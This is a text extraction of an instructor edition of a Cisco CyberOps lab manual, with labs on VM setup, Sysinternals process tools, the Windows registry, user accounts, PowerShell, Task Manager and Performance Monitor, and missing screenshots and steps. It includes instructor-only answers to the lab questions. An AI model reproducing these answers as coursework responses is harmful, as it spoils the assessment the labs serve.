CyberOps v1.1 Instructor Lab Manual PDF
CyberOps v1.1 Instructor Lab Manual PDF
Objectives
Understand vulnerabilities of wireless and other common technologies
Background / Scenario
Nearly every “secure” system that is used today can be vulnerable to some type of cyberattack.
Required Resources
PC or mobile device with Internet access
Step 1: View the TEDx Video “Top Hacker Shows Us How It’s Done; Pablos Holman at
TEDxMidwests”
a. Click on the link below and watch the Video.
Top Hacker Shows Us How It’s Done; Pablos Holman at TEDxMidwests
In the video, Mr. Holman discusses various security vulnerabilities concerning systems that are typically
considered as secure, however, as he points out in his presentation, they are all vulnerable to attack.
b. Choose one of the hacks discussed by Mr. Holman in the video, and using your favorite search engine
conduct some additional research on the hack.
c. For the hack chosen in Step 1b, answer the questions below. Be prepared to share your work in a full
class discussion.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 2 www.netacad.com
Class Activity – Top Hacker Shows Us How It is Done
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 2 www.netacad.com
Lab – Installing the CyberOps Workstation Virtual Machine
(Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Prepare a Personal Computer for Virtualization
Part 2: Import a Virtual Machine into VirtualBox Inventory
Background / Scenario
Computing power and resources have increased tremendously over the last 10 years. A benefit of having
multicore processors and large amounts of RAM is the ability to use virtualization. With virtualization, one or
more virtual computers operate inside one physical computer. Virtual computers that run within physical
computers are called virtual machines. Virtual machines are often called guests, and physical computers are
often called hosts. Anyone with a modern computer and operating system can run virtual machines.
A virtual machine image file has been created for you to install on your computer. In this lab, you will
download and import this image file using a desktop virtualization application, such as VirtualBox.
Required Resources
Computer with a minimum of 2 GB of RAM and 8 GB of free disk space
High speed Internet access to download Oracle VirtualBox and the virtual machine image file
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 4 www.netacad.com
Lab - Installing the CyberOps Workstation Virtual Machine
Note: If your network is not configured with DHCP services, click Change Network Settings and select
NAT in the Attached to dropdown box. The network settings can also be access via Settings in the
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 4 www.netacad.com
Lab - Installing the CyberOps Workstation Virtual Machine
Oracle VirtualBox Manager or in the virtual machine menu, select Devices > Network > Network
Settings. You may need to disable and enable the network adaptor for the change to take effect.
c. Click OK. A new window will appear, and the virtual machine boot process will start.
d. When the boot process is complete, the virtual machine will ask for a username and password. Use the
following credentials to log into the virtual machine:
Username: analyst
Password: cyberops
You will be presented with a desktop environment: there is a launcher bar at the bottom, icons on the
desktop, and an application menu at the top.
Note: The window running the virtual machine is a completely different computer than your host. Functions,
such as copy and paste, will not work between the two without special software tools installed. Notice the
keyboard and mouse focus. When you click inside the virtual machine window, your mouse and keyboard will
operate the guest operating system. Your host operating system will no longer detect keystrokes or mouse
movements. Press the right CTRL key to return keyboard and mouse focus to the host operating system.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 4 www.netacad.com
Lab - Installing the CyberOps Workstation Virtual Machine
Reflection
What are the advantages and disadvantages of using a virtual machine?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
With a virtual machine, you are able to test new applications or operating systems without affecting your host
machine. You are also able to save the current machine state when you close virtual machine. If you have
any issues, you have the option to revert the virtual machine to a previously saved state. On the other hand, a
virtual machine requires hardware resources from the host machine, such as hard drive space, RAM, and
processing power.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 4 www.netacad.com
Lab - Cybersecurity Case Studies (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Research and analyze cyber security incidents
Background / Scenario
Governments, businesses, and individual users are increasingly the targets of cyberattacks and experts
predict that these attacks are likely to increase in the future. Cybersecurity education is a top international
priority as high-profile cyber-security related incidents raise the fear that attacks could threaten the global
economy. The Center for Strategic and International Studies estimates that the cost of cybercrime to the
global economy is more than $400 billion annually and in the United State alone as many as 3000 companies
had their systems compromised in 2013. In this lab you will study four high profile cyberattacks and be
prepared to discuss the who, what, why and how of each attack.
Required Resources
PC or mobile device with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 2 www.netacad.com
Lab – Cybersecurity Case Studies
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 2 www.netacad.com
Lab – Learning the Details of Attacks (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Research and analyze IoT application vulnerabilities
Background / Scenario
The Internet of Things (IoT) consists of digitally connected devices that are connecting every aspect of our
lives, including our homes, offices, cars, and even our bodies to the Internet. With the accelerating adoption of
IPv6 and the near universal deployment of Wi-Fi networks, the IoT is growing at an exponential pace. Industry
experts estimate that by 2020, the number of active IoT devices will approach 50 billion. IoT devices are
particularly vulnerable to security threats because security has not always been considered in IoT product
design. Also, IoT devices are often sold with old and unpatched embedded operating systems and software.
Required Resources
PC or mobile device with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 2 www.netacad.com
Lab – Learning the Details of Attacks
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 2 www.netacad.com
Lab – Visualizing the Black Hats (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Research and analyze cyber security incidents
Background / Scenario
In 2016, it was estimated that businesses lost $400 million dollars annually to cyber criminals. Governments,
businesses, and individual users are increasingly the targets of cyberattacks and cybersecurity incidents are
becoming more common.
In this lab, you will create three hypothetical cyber attackers, each with an organization, an attack, and a
method for an organization to prevent or mitigate the attack.
Note: You can use the web browser in virtual machine installed in a previous lab to research security issues.
By using the virtual machine, you may prevent malware from being installed on your computer.
Required Resources
PC or mobile device with Internet access
Scenario 1:
a. Who is the attacker?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
b. What organization/group is the attacker associated with?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
c. What is the motive of the attacker?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
d. What method of attack was used?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 3 www.netacad.com
Lab – Visualizing the Black Hats
Scenario 2:
a. Who is the attacker?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
b. What organization/group is the attacker associated with?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
c. What is the motive of the attacker?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
d. What method of attack was used?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
e. What was the target and vulnerability used against the business?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 3 www.netacad.com
Lab – Visualizing the Black Hats
Scenario 3:
a. Who is the attacker?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
b. What organization/group is the attacker associated with?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
c. What is the motive of the attacker?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
d. What method of attack was used?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
e. What was the target and vulnerability used against the business?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
f. How could this attack be prevented or mitigated?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 3 www.netacad.com
Lab - Becoming a Defender (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Research and analyze what it takes to become a network defender
Background / Scenario
In our technology-centric world, as the world gets more connected, it also gets less safe. Cybersecurity is one
of the fastest growing and in-demand professions. Individuals in this field perform a wide variety of jobs
including but not limited to consultation, investigation and program management services to mitigate risks
through both internal and external sources. Cybersecurity professionals are required to evaluate, design and
implement security plans, conduct in-depth fraud investigation and perform security research and risk
assessment and propose solutions to potential security breaches.
Individuals with good security skills have a great earning potential. To be considered for one of these high
paying jobs, it is imperative to have the proper qualifications. To this effect, it is important to consider the
industry certificates available for this career path. There are many certifications to choose from, and selecting
the right certificate(s) for you individually requires careful consideration.
Note: You can use the web browser in virtual machine installed in a previous lab to research security related
issues. By using the virtual machine, you may prevent malware from being installed on your computer.
Required Resources
PC or mobile device with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 2 www.netacad.com
Lab - Becoming a Defender
a. How many new job listings were posted within the last two weeks?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
b. What is the salary range for the top 10 listings?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
The answers will vary.
c. What are the most common qualifications required by employers?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
The answers will vary.
d. What industry certifications are required by these employers?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
The answers will vary.
e. Do any of certifications match the ones listed in Step 1a?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
The answers will vary.
f. Investigate online resources that allow you to legally test your hacking skills. These tools allow a novice
with limited cyber security experience to sharpen their penetration testing skills, such as Google Gruyere
(Web Application Exploits and Defenses).
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 2 www.netacad.com
Class Activity – Identify Running Processes (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
In this lab, you will use TCP/UDP Endpoint Viewer, a tool in Sysinternals Suite, to identify any running
processes on your computer.
Background / Scenario
In this lab, you will explore processes. Processes are programs or applications in execution. You will explore
the processes using Process Explorer in the Windows Sysinternals Suite. You will also start and observe a
new process.
Required Resources
1 Windows PC with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 3 www.netacad.com
Class Activity – Identify Running Processes
b. Open Tcpview.exe. Accept the Process Explorer License Agreement when prompted. Click Yes to allow
this app to make changes to your device.
c. Exit the File Explorer and close all the currently running applications.
b. Double-click lsass.exe.
What is lsass.exe? In what folder is it located?
____________________________________________________________________________________
____________________________________________________________________________________
Local Security Authority Process is the name for lsass.exe. It is located in C:\Windows\System32\ folder.
c. Close the properties window for lsass.exe when done.
d. View the properties for the other running processes.
Note: Not all processes can be queried for properties information.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 3 www.netacad.com
Class Activity – Identify Running Processes
c. Reopen the web browser. Research some of the processes listed in TCPView. Record your findings.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Answers will vary. The process lsass.exe verifies the validity of user logins to the PC. The services.exe is
used to start and stop services and change the default services startup settings. The process svnhost.exe
(Service Host) handles the process of sharing system resources. Most of these listed resources are
located in the C:\Windows\System32\ folder. If these executables are found elsewhere in the system, they
maybe malware, such as viruses, spyware, trojans or worms.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 3 www.netacad.com
Lab – Exploring Processes, Threads, Handles, and Windows
Registry (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
In this lab, you will explore the processes, threads, and handles using Process Explorer in the SysInternals
Suite. You will also use the Windows Registry to change a setting.
Part 1: Exploring Processes
Part 2: Exploring Threads and Handles
Part 3: Exploring Windows Registry
Required Resources
1 Windows PC with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 8 www.netacad.com
Lab – Exploring Processes, Threads, Handles, and Windows Registry
d. To locate the web browser process, drag the Find Window's Process icon ( ) into the opened web
browser window. Microsoft Edge was used in this example.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 8 www.netacad.com
Lab – Exploring Processes, Threads, Handles, and Windows Registry
e. The Microsoft Edge process can be terminated in the Process Explorer. Right-click the selected process
and select Kill Process.
What happened to the web browser window when the process is killed?
____________________________________________________________________________________
The web browser window closes.
b. Drag the Find Window's Process icon ( ) into the Command Prompt window and locate the highlighted
Command Prompt process in Process Explorer.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 8 www.netacad.com
Lab – Exploring Processes, Threads, Handles, and Windows Registry
c. The process for the Command Prompt is cmd.exe. Its parent process is explorer.exe process. The
cmd.exe has a child process, conhost.exe.
d. Navigate to the Command Prompt window. Start a ping at the prompt and observe the changes under the
cmd.exe process.
What happened during the ping process?
____________________________________________________________________________________
A child process PING.EXE listed under the cmd.exe during the ping process.
e. As you review the list of active processes, you find that the child process conhost.exe may be suspicious.
To check for malicious content, right-click conhost.exe and select Check VirusTotal. When prompted,
click Yes to agree to VirusTotal Terms of Service. Then click OK for the next prompt.
f. Expand the Process Explorer window or scroll to the right until you see the VirusTotal column. Click the
link under the VirusTotal column. The default web browser opens with the results regarding the malicious
content of conhost.exe.
g. Right-click the cmd.exe process and select Kill Process. What happened to the child process
conhost.exe?
____________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 8 www.netacad.com
Lab – Exploring Processes, Threads, Handles, and Windows Registry
The child process depends on the parent process. So when the parent process stops, the child process
also stops.
c. Examine the details of the thread. What type of information is available in the Properties window?
____________________________________________________________________________________
____________________________________________________________________________________
Information available includes environment variable, security information, performance information, and
printable strings.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 8 www.netacad.com
Lab – Exploring Processes, Threads, Handles, and Windows Registry
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 8 www.netacad.com
Lab – Exploring Processes, Threads, Handles, and Windows Registry
o HKEY_CURRENT_CONFIG stores the hardware information that is used at bootup by the local
computer.
b. In a previous step, you had accepted the EULA for Process Explorer. Navigate to the EulaAccepted
registry key for Process Explorer.
Click to select Process Explorer in HKEY_CURRENT_USER > Software > Sysinternals > Process
Explorer. Scroll down to locate the key EulaAccepted. Currently, the value for the registry key
EulaAccepted is 0x00000001(1).
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 8 www.netacad.com
Lab – Exploring Processes, Threads, Handles, and Windows Registry
c. Double-click EulaAccepted registry key. Currently the value data is set to 1. The value of 1 indicates that
the EULA has been accepted by the user.
d. Change the 1 to 0 for Value data. The value of 0 indicates that the EULA was not accepted. Click OK to
continue.
What is value for this registry key in the Data column?
____________________________________________________________________________________
0x00000000(0)
e. Open the Process Explorer. Navigate to the folder where you have downloaded SysInternals. Open the
folder SysInternalsSuite > Open procexp.exe.
When you open the Process Explorer, what did you see?
____________________________________________________________________________________
The Process Explorer License Agreement dialog box
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 8 www.netacad.com
Lab - Create User Accounts (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Introduction
In this lab, you will create and modify user accounts in Windows.
Part 1: Creating a New Local User Account
Part 2: Reviewing User Account Properties
Part 3: Modifying Local User Accounts
Required Resources
A Windows PC
Instructor Note: Provide students with a user account name and password to be created in this lab.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 10 www.netacad.com
Lab - Create User Accounts
b. The Manage Accounts window opens. Click Add a new user in PC settings.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 10 www.netacad.com
Lab - Create User Accounts
c. The Settings window opens. Click Add someone else to this PC.
d. The How will this person sign in? window opens. Click I don't have this person's sign-in
information.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 10 www.netacad.com
Lab - Create User Accounts
e. The Let's create your account window opens. Click Add a user without a Microsoft account.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 10 www.netacad.com
Lab - Create User Accounts
f. The Create an account for this PC window opens. Provide the necessary information to create the new
user account named User1. Click Next to create the new user account.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 10 www.netacad.com
Lab - Create User Accounts
l. Navigate to C:\Users folder. Right-click the folder and select Properties. Click the Security tab. Which
groups or users have full control of this folder?
____________________________________________________________________________________
Groups: SYSTEM, Administrators Users: CyberOpsUser
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 10 www.netacad.com
Lab - Create User Accounts
b. In the Change an Account window, click the User1 account. Click Change the account type.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 10 www.netacad.com
Lab - Create User Accounts
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 10 www.netacad.com
Lab - Create User Accounts
g. Select Administrators and click Remove to remove User1 from the Administrative group. Click OK to
continue.
b. Click OK to confirm the deletion. What is another way to delete a user account?
____________________________________________________________________________________
Control Panel > User Accounts > Manage another account > Select User1 > Delete the account
Reflection
1. Why is it important to protect all accounts with strong passwords?
_______________________________________________________________________________________
_______________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 10 www.netacad.com
Lab - Create User Accounts
No password or a weak password can allow access from almost anyone to steal data, or use the computer for
unauthorized purposes.
2. Why would you create a user with Standard privileges?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
The Standard User cannot compromise the security of the computer or the privacy of other users.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 10 www.netacad.com
Lab – Using Windows PowerShell (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
The objective of the lab is to explore some of the functions of PowerShell.
Background / Scenario
PowerShell is a powerful automation tool. It is both a command console and a scripting language. In this lab,
you will use the console to execute some of the commands that are available in both the command prompt
and PowerShell. PowerShell also has functions that can create scripts to automate tasks and work together
with the Windows Operating System.
Required Resources
1 Windows PC with PowerShell installed and Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 6 www.netacad.com
Lab - Using Windows PowerShell
CommandTypeNameVersionSource
----------------------------
Aliasdir -> Get-ChildItem
What is the PowerShell command for dir? ______________________________________ Get-ChildItem
b. For more detailed information about cmdlets, navigate to https://technet.microsoft.com/en-
us/library/ee332526.aspx.
c. Close the Command Prompt window when done.
NETSTAT [-a] [-b] [-e] [-f] [-n] [-o] [-p proto] [-r] [-s] [-x] [-t] [interval]
-a Displays all connections and listening ports.
-b Displays the executable involved in creating each connection or listening port.
In some cases well-known executables host multiple independent components, and in
these cases the sequence of components involved in creating the connection or
listening port is displayed. In this case the executable name is in [] at the bottom,
on top is the component it called, and so forth until TCP/IP was reached. Note that
this option can be time-consuming and will fail unless you have sufficient
permissions.
<some output omitted>
b. To display the routing table with the active routes, enter netstat -r at the prompt.
PS C:\Users\CyberOpsUser> netstat -r
===========================================================================
Interface List
3...08 00 27 a0 c3 53 ......Intel(R) PRO/1000 MT Desktop Adapter
10...08 00 27 26 c1 78 ......Intel(R) PRO/1000 MT Desktop Adapter #2
1...........................Software Loopback Interface 1
===========================================================================
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 6 www.netacad.com
Lab - Using Windows PowerShell
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 6 www.netacad.com
Lab - Using Windows PowerShell
c. Open and run a second PowerShell with elevated privileges. Click Start. Search for PowerShell and right-
click Windows PowerShell and select Run as administrator. Click Yes to allow this app to make
changes to your device.
d. The netstat command can also display the processes associated with the active TCP connections. Enter
the netstat -abno at the prompt.
PS C:\Windows\system32> netstat -abno
Active Connections
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 6 www.netacad.com
Lab - Using Windows PowerShell
g. Locate the selected PID in the Task Manager. Right-click the selected PID in the Task Manager to open
the Properties dialog box for more information.
What information can you get from the Details tab and the Properties dialog box for your selected PID?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
PID 756 is associated with svchost.exe process. The user for this process is NETWORK SERVICE and it
is using 4132K of memory.
Confirm
Are you sure you want to perform this action?
Performing the operation "Clear-RecycleBin" on target "All of the contents of the
Recycle Bin".
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is
"Y"): y
What happened to the files in the Recycle Bin?
____________________________________________________________________________________
The files in the Recycle Bin are deleted permanently.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 6 www.netacad.com
Lab - Using Windows PowerShell
Reflection
PowerShell was developed for task automation and configuration management. Using the Internet, research
commands that you could use to simplify your tasks as a security analyst. Record your findings.
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Answers will vary.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 6 www.netacad.com
Lab – Windows Task Manager (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Introduction
In this lab, you will explore Task Manager and manage processes from within Task Manager.
Part 1: Working in the Processes tab
Part 2: Working in the Services tab
Part 3: Working in the Performance tab
Background / Scenario
The Task Manager is a system monitor program that provides information about the processes and programs
running on a computer. It also allows the termination of processes and programs and modification of process
priority.
Required Resources
A Windows PC with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 11 www.netacad.com
Lab – Windows Task Manager
c. Click More details to see all the processes that are listed in the Processes tab.
d. Expand the Windows Command Processor heading. What is listed under this heading?
____________________________________________________________________________________
Command Prompt
e. There are three categories of processes listed in the Processes tab: Apps, Background processes, and
Windows processes.
o The Apps are the applications that you have opened, such as Microsoft Edge, Task Manager, and
Windows Command Processor, as shown in the figure above. Other applications that are opened by
the users, such as web browsers and email clients, will also be listed here.
o The Background processes are executed in the background by applications that are currently open.
o The Windows processes are not shown in the figure. Scroll down to view them on your Windows PC.
Windows processes are Microsoft Windows services that run in the background.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 11 www.netacad.com
Lab – Windows Task Manager
Some of the background processes or Windows processes may be associated with foreground
processes. For example, if you open a command prompt window, the Console Window Host process will
be started in the Windows process section, as shown below.
f. Right-click Console Window Host and select Properties. What is the location of this filename and
location of this process?
____________________________________________________________________________________
The associated filename is conhost.exe and it is located in the C:\Windows\System32 folder.
g. Close the command prompt window. What happens to Windows Command Processor and Console
Window Host when the command prompt window is closed?
____________________________________________________________________________________
The associated processes have ended and are no longer listed in the Task Manager.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 11 www.netacad.com
Lab – Windows Task Manager
b. Click the Memory heading. Click the Memory heading a second time.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 11 www.netacad.com
Lab – Windows Task Manager
c. Right-click on the Memory heading, and then select Resource values > Memory > Percents.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 11 www.netacad.com
Lab – Windows Task Manager
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 11 www.netacad.com
Lab – Windows Task Manager
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 11 www.netacad.com
Lab – Windows Task Manager
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 11 www.netacad.com
Lab – Windows Task Manager
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 11 www.netacad.com
Lab – Windows Task Manager
c. Click the Ethernet Chart in the left panel of the Performance tab.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 11 www.netacad.com
Lab – Windows Task Manager
d. Click Open Resource Monitor to open the Resource Monitor utility from the Performance tab in Task
Manager.
Reflection
Why is it important for an administrator to understand how to work within the Task Manager?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Answers may vary. The Task Manager can be a valuable tool for an administrator when troubleshooting
problems with a Windows PC. It provides information about CPU, memory, disk, and network usage. It also
provides a way to end tasks or cancel processes.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 11 www.netacad.com
Lab - Monitor and Manage System Resources in Windows
(Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Introduction
In this lab, you will use administrative tools to monitor and manage Windows system resources.
Recommended Equipment
A Windows PC with Internet access
Part 1: Starting and Stopping the Routing and Remote Access service
You will explore what happens when a service is stopped and then started. In this part, you will use routing
and remote access service as the example service. This service allows the local device to become a router or
a remote access server.
a. Click Start > Search and select Control Panel > Click Network and Sharing Center.
Note: If your Control Panel is set to View by: Category, change it to View by: Large icons or View by:
Small icons. This lab assumes that you are using one of these settings.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
b. Click Change adapter settings in the left pane. Reduce the size of the Network Connections window
and leave it open.
c. Navigate to the Administrative Tools. (Click Start > Search for and select Control Panel > Click
Administrative Tools)
d. The Administrative Tools window opens. Double-click the Performance Monitor icon.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
e. The Performance Monitor window opens. Make sure Performance Monitor in the left pane is
highlighted. Click the Freeze Display icon (pause button) to stop the recording.
f. Right-click the Performance Monitor menu bar and select Clear to clear the graph. Leave this window
open.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
h. Expand the width of the Services window so you have a clear view of the content. Scroll down in the right
pane until you see the service Routing and Remote Access. Double-click Routing and Remote Access.
i. The Routing and Remote Access Properties (Local Computer) window opens. In the Startup type
drop-down field, select Manual and then click Apply.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
The Start button is now active. Do NOT click the Start button yet. Leave this window open.
j. Navigate to Performance Monitor window. Click the Unfreeze Display icon to start the recording.
k. Click the Routing and Remote Access Properties (Local Computer) window. To start the service, click
Start. A window with a progress bar opens.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
l. The Routing and Remote Access Properties (Local Computer) window now shows the Stop and
Pause button active. Leave this window open
m. Navigate to Network Connections window. Press the function key F5 to refresh the content.
What changes appear in the window after starting the Routing and Remote Access service?
____________________________________________________________________________________
An Incoming Connections icon is now displayed.
n. Navigate to Routing and Remote Access Properties (Local Computer) window and click Stop.
o. Navigate to Network Connections window.
What changes appear in the right pane after stopping the Routing and Remote Access service?
____________________________________________________________________________________
The Incoming Connections icon is no longer displayed.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
p. Navigate to Performance Monitor window and click the Freeze Display icon to stop the recording.
Which Counter is being recorded the most in the graph (hint: look at the graph color and Counter color)?
____________________________________________________________________________________
%Processor Time.
q. Click the Change graph type drop-down menu, select Report.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
c. Click the arrow next to Event Viewer then click the arrow next to Windows Logs. Select System.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
d. The Event Properties window opens for the first event. Click the down arrow key to locate an event for
Routing and Remote Access. You should find four events that describe the order for starting and
stopping the Routing and Remote Access service.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
a. Click Control Panel > Administrative Tools > Performance Monitor. The Performance Monitor window
opens. Expand Data Collector Sets. Right-click User Defined, and select New > Data Collector Set.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
b. The Create new Data Collector Set window opens. In the Name field, type Memory Logs. Select the
Create manually (Advanced) radio button, and click Next.
c. The What type of data do you want to include? screen opens. Check the Performance counter box
then click Next.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 12 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
d. The Which performance counters would you like to log? screen opens. Click Add.
e. From the list of available counters, locate and expand Memory. Select Available MBytes and click
Add>>.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 13 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
f. You should see the Available MBytes counter added in the right pane. Click OK.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 14 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
h. In the Where would you like the data to be saved? screen, click Browse.
i. The Browse For Folder window opens. Select your (C:) drive which is Local Disk (C:) in the figure
below. Select PerfLogs and click OK.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 15 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
j. The Where would you like the data to be saved? window opens with the directory information that you
selected in the previous step. Click Next.
k. The Create the data collector set? screen opens. Click Finish.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 16 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
l. Expand User Defined, and select Memory Logs. Right-click Data Collector01and select Properties.
m. The DataCollector01 Properties window opens. Change the Log format: field to Comma Separated.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 17 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
q. To force the computer to use some of the available memory, open and close a browser.
